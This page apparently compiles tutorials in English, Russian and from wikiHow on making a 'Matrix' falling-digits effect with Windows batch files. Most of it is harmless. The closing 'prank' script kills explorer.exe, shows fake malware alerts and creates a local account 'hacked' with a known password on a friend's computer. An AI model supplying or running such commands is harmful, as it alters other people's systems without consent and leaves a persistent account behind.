Introduction: BATCH (.bat) Matrix —original—
im gonna show you how to make a matrix effect with 1 and 0 in notepad
Step 1: Open Notepad
start
programs
accessories
notepad
Step 2: Code
type:
@echo off
color 0a
cls
:a
set /a a=%random%
if %a% geq 16384 set /a aa=1
if %a% lss 16384 set /a aa=0
set /a b=%random%
if %b% geq 16384 set /a bb=1
if %b% lss 16384 set /a bb=0
set /a c=%random%
if %c% geq 16384 set /a cc=1
if %c% lss 16384 set /a cc=0
set /a d=%random%
if %d% geq 16384 set /a dd=1
if %d% lss 16384 set /a dd=0
set /a e=%random%
if %e% geq 16384 set /a ee=1
if %e% lss 16384 set /a ee=0
set /a f=%random%
if %f% geq 16384 set /a ff=1
if %f% lss 16384 set /a ff=0
set /a g=%random%
if %g% geq 16384 set /a gg=1
if %g% lss 16384 set /a gg=0
set /a h=%random%
if %h% geq 16384 set /a hh=1
if %h% lss 16384 set /a hh=0
set /a i=%random%
if %i% geq 16384 set /a ii=1
if %i% lss 16384 set /a ii=0
set /a j=%random%
if %j% geq 16384 set /a jj=1
if %j% lss 16384 set /a jj=0
set /a k=%random%
if %k% geq 16384 set /a kk=1
if %k% lss 16384 set /a kk=0
set /a l=%random%
if %l% geq 16384 set /a ll=1
if %l% lss 16384 set /a ll=0
set /a m=%random%
if %m% geq 16384 set /a mm=1
if %m% lss 16384 set /a mm=0
set /a n=%random%
if %n% geq 16384 set /a nn=1
if %n% lss 16384 set /a nn=0
set /a o=%random%
if %o% geq 16384 set /a oo=1
if %o% lss 16384 set /a oo=0
set /a p=%random%
if %p% geq 16384 set /a pp=1
if %p% lss 16384 set /a pp=0
set /a q=%random%
if %q% geq 16384 set /a qq=1
if %q% lss 16384 set /a qq=0
set /a r=%random%
if %r% geq 16384 set /a rr=1
if %r% lss 16384 set /a rr=0
set /a s=%random%
if %s% geq 16384 set /a ss=1
if %s% lss 16384 set /a ss=0
set /a t=%random%
if %t% geq 16384 set /a tt=1
if %t% lss 16384 set /a tt=0
set /a u=%random%
if %u% geq 16384 set /a uu=1
if %u% lss 16384 set /a uu=0
set /a v=%random%
if %v% geq 16384 set /a vv=1
if %v% lss 16384 set /a vv=0
set /a w=%random%
if %w% geq 16384 set /a ww=1
if %w% lss 16384 set /a ww=0
set /a x=%random%
if %x% geq 16384 set /a xx=1
if %x% lss 16384 set /a xx=0
set /a y=%random%
if %y% geq 16384 set /a yy=1
if %y% lss 16384 set /a yy=0
set /a z=%random%
if %z% geq 16384 set /a zz=1
if %z% lss 16384 set /a zz=0
echo %aa% %bb% %cc% %dd% %ee% %ff% %gg% %hh% %ii% %jj% %kk% %ll% %mm% %nn% %oo% %pp% %qq% %rr% %ss% %tt% %uu% %vv% %ww% %xx% %yy% %zz%
goto a
all original by the way, no copying!
Step 3: Save As a .bat File
file
save as
*as a side note, IT DOSE NOT HAVE TO BE SAVED AS «ALL FILES»
save as: «anything».bat
*the .bat is important
Step 4: Open It
after you saved it, open it!
***
…Знаете ли вы, что с помощью обычного Блокнота (Notepad) можно воспроизвести matrix effect – «эффект Матрицы», – помните знаменитый фильм-трилогию?
Откройте Блокнот и введите следующие строки:
@echo off
color 02
:start
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start
Выберите меню Файл –> Сохранить как…;
– в открывшемся окне Сохранить как выберите место для сохранения файла;
– в выпадающем списке Тип файла выберите Все файлы (*.*);
– в текстовое поле Имя файла введите matrix.bat (или matrix.cmd);
– нажмите кнопку Сохранить.
Запустите файл matrix.bat (matrix.cmd):
Вспомнили «Матрицу»?..
***
Можете поэкспериментировать: если в строке color ввести не 02 (кстати, можно и просто 2), а 03 (или 3), то на фоне побегут не , а цифры;
04 (4) – ;
05 (5) – ;
06 (6) – ;
07 (7) – ;
08 (8) – ;
09 (9) – ;
10 – цифры на фоне;
11 – цифры на фоне;
12 – цифры на фоне;
…
14 – цифры на фоне;
…
20 – цифры на фоне;
…
Примечание
Если вы испытываете затруднения с созданием файла matrix.bat (или вам просто некогда/лень разбираться с этим), скачайте и разархивируйте файл (170 байт).
Запустите файл matrix.bat.
(По материалам: Create Matrix Effect Using Notepad)
***
•
•
•
•
•
Download Article
Download Article
A ‘Matrix’ batch file is a file that generates an infinite display of random numbers. It’s evocative of the «falling code» in the Matrix movies. If you want to program one, this wikiHow will teach you how.
-
1
Open your ‘Notepad’. Most PCs will have it pre-installed. If you’re not sure where to find it, search for it. For Windows 10, the ‘Windows search’ button is right next to the ‘Windows’ button, and it looks like a magnifying glass.
-
2
Write @echo off for the first line of code.
- The ‘@echo off’ command inherits the meaning from DOS. In DOS version 3.3 and later, @ hides the echo of a batch command. Any output generated by the command is echoed. Without it, you could turn off command echoing using the echo off command, but that command would be echoed first.
Advertisement
-
3
Go to the next line. Here, the line of code is Pause. It will slightly delay the next part of the code, but doesn’t do anything else.
-
4
Insert the next line of code directly under the last line. This time, the code will be color 0a. This will turn the background black and the text green. This is just a decorative device.
-
5
Add the next line of code under the last one. The line of code is mode 1000, which will turn the command to fullscreen.
-
6
Break off one line. The line of code this time will be :a. This will ensure that the code will run. In other words, it holds the entire code together.
-
7
Insert
echo %random%%random%%random%%random%...
directly below the last line of code. This will produce the string of random numbers. -
8
Finish with goto a. This is the repeat command.
-
9
Save your code. Instead of ‘.txt’ it will be ‘.bat’.
Advertisement
Add New Question
-
Question
Will this harm my computer?
Sasa Bozilovic
Community Answer
It will not, but it will slow down your computer if it is old or has a slow processor.
-
Question
Can you turn it off?
Maximus Bee
Community Answer
Yes, you can just press ctrl+c ,then text Y, then click enter. Or, you can just close the window.
Ask a Question
200 characters left
Include your email address to get a message when this question is answered.
Submit
Advertisement
-
You can experiment with different variations to find your preferred settings.
-
You can enter Command Prompt and type color [attr]. You can then change the color code in your program to whatever color you like. For example, ‘color fc’.
Thanks for submitting a tip for review!
Advertisement
About This Article
Thanks to all authors for creating a page that has been read 51,666 times.
Did this article help you?
Hello guys today m gonna teach you how you easily can make a matrix effect in cmd and can prank in your friends computer Its very easy to do.Just follow my steps and enjoy.
First of all open notepad and copy the given code in notepad and save it as batch file i.e example.bat
CODES
@echo off
taskkill /f /im explorer.exe
color 2
:prank
pause
echo malicous malware has been detected on your computer…
pause
echo attempting to contact your local windows firewall…
pause
echo access was denied…try again
pause
echo TROJAN INSTALLED
net user hacked /add
net user hacked hacker
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
pause
echo lmao you just got pranked :p
pause
:end prank